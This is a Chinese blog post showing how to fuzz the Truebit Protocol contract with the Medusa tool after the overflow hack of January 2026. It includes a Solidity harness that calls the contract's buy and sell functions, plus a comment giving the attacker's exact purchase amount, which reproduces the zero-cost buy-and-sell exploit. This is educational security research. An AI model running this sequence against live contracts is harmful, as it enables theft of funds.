Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例讲解(二)

案例背景

20260109,ETH 链上的 Truebit Protocol 遭受了黑客攻击,损失约 2600 万美元。漏洞原因是计算购买 TRU 代币所需要的 ETH 数量的计算公式设计存在缺陷,购买大量 TRU 代币时会因为 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值,使得攻击者可以以 0 ETH 购买大量的 TRU 代币,最后抛售完成获利。

前置内容-完整攻击分析:https://www.cnblogs.com/ACaiGarden/p/19465686

Trace 分析

image

  1. 黑客调用 buyTRU() 函数以零成本购入大量的 TRU 代币
  2. 然后调用 sellTRU() 函数卖出所有 TRU 代币完成获利
    随后攻击者利用漏洞以零或极低成本的价格购买 TRU 代币后出售的流程重复多次。

Medusa 配置

首先参考《Medusa - 智能合约 Fuzzing 工具介绍与案例讲解》中的内容对 Medusa 进行初始化与配置。

Fuzz 函数挑选与实现

Fuzz 函数挑选

在编写 fuzz 函数之前,首先要挑选需要对哪些函数进行 fuzz,可以按照以下的条件进行筛选:

  • public 或 external 的函数
  • 非 view 和 prue 的函数
  • 没有权限访问控制的函数
  • 非一次性调用的函数(如 initialize)
    其中满足以上条件的函数有
- `0xa0296215(uint256)`(购买/铸造路径:依赖 `msg.value` 与定价计算,容易出现边界值/除零/舍入问题)
- `0xc471b10b(uint256)`(赎回/燃烧路径:依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账,容易出现重入/资金守恒/状态不一致问题)
- `0xdb5c0f79()`(`payable` 增加储备:fuzz `msg.value` 与多次调用组合)

Fuzz 函数实现

在 TRUVulnerabilityFuzz 合约中,实现了对 0xa0296215(buyTRU(uint256 amount))0xc471b10b(sellTRU(uint256 amount)) 两个未开源函数的 fuzz,以及一个检查函数 property_checkBalance()

  • 0xa0296215(buyTRU(uint256 amount):需要调用 getPurchasePrice 函数(反编译的时候提供了函数名)计算对应的 msg.value ,伴随函数调用传入。
  • 0xc471b10b(sellTRU(uint256 amount)) :直接提供卖出的 TRU 代币数量,需要实现 receive 函数接收返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会尝试往 receive 函数中转账,所以要添加权限控制。
  • property 函数则检查了合约的余额(初始值为 1e28)经过 sequence 操作后是否增加,如果增加则判断发现了获利的途径。
contract TRUVulnerabilityFuzz is Test {
    IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;
    address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;
    constructor() payable {
        cheats.deal(address(this), 1e28);
        IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
    }

    // fuzz buyTRU(uint256 amount)
    function fuzz_0xa0296215(uint256 fuzz_amount) public {
        // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
        // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
        uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
        if (ethAmount > address(this).balance) return;

        (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
        require(ok, "Failed to call 0xa0296215");
    }

    // fuzz sellTRU(uint256 amount)
    function fuzz_0xc471b10b(uint256 fuzz_amount) public {
        // 0xc471b10b() is nonPayable
        
        (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
        require(ok, "Failed to call 0xc471b10b");
    }

    // function fuzz_0xdb5c0f79(uint256 fuzz_value) public {
    //     fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;
    //     (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));
    //     require(ok, "Failed to call 0xdb5c0f79");
    // }

    function property_checkBalance() external view returns (bool) {
        if (address(this).balance > 1e28) assert(false);
        return true;
    }

    // While fuzzing, the fuzzer will send ETH to the contract.
    receive() external payable {
        if (msg.sender != TruebitProtocol) revert();
    }
}

0xa0296215(buyTRU(uint256 amount)

在编写 fuzz 函数的时候,需要关注反编译代码中的 require 函数,尽可能地使得输入的参数满足函数要求,是能够正常执行的,这样会大幅提高命中的概率。比如在 0xa0296215 函数中,需要检查 msg.value 是否和计算的到的 v0 一致,而函数 0x1446 就是一个价格计算函数。

image

所以在实现 fuzz 函数的时候,需要先通过 getPurchasePrice(0x1446)计算所需要传入的 msg.value,然后再进行调用。

    // fuzz buyTRU(uint256 amount)
    function fuzz_0xa0296215(uint256 fuzz_amount) public {
        // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
        // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
        uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
        if (ethAmount > address(this).balance) return;

        (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
        require(ok, "Failed to call 0xa0296215");
    }

0xc471b10b(sellTRU(uint256 amount))

在编写 0xc471b10b 对应的 fuzz 函数时,检查反编译的内容,需要留意的是 nonPayable 修饰器,还有对授权额度的检查。

image

所以在 constructor 对代币进行了最大额度的授权,然后 call 函数避免带有 msg.value。

constructor() payable {
    cheats.deal(address(this), 1e28);
    IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
}
// fuzz sellTRU(uint256 amount)
function fuzz_0xc471b10b(uint256 fuzz_amount) public {
    // 0xc471b10b() is nonPayable
    
    (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
    require(ok, "Failed to call 0xc471b10b");
}

结果分析

由于机器硬件与时间的限制,未能实际 fuzz 出结果

为了验证 fuzz 函数写的时没有问题的,尝试硬编码 fuzz_amount 为攻击者所采用的参数,可以马上得到结果。

image

显示 fuzz 出来满足条件的 sequence 路径如下,和攻击者执行的操作一致。

image

通过本案例是实践,得到的结论是,Fuzz 工程除了需要开发者非常了解目标协议,尽可能地编写出高效的测试函数,还需要高性能的机器来提供支撑。相信通过这两个入门级的案例,也能够让读者了解到,fuzz 并不是什么“灵丹妙药”。虽然它在实际应用中有着一些局限,但是在经验丰富的开发者和强大的机器支持下,仍然是一个挖掘未知漏洞的可行之法。

posted @ 2026-02-01 23:43  ACai_sec  阅读(4)  评论(0)    收藏  举报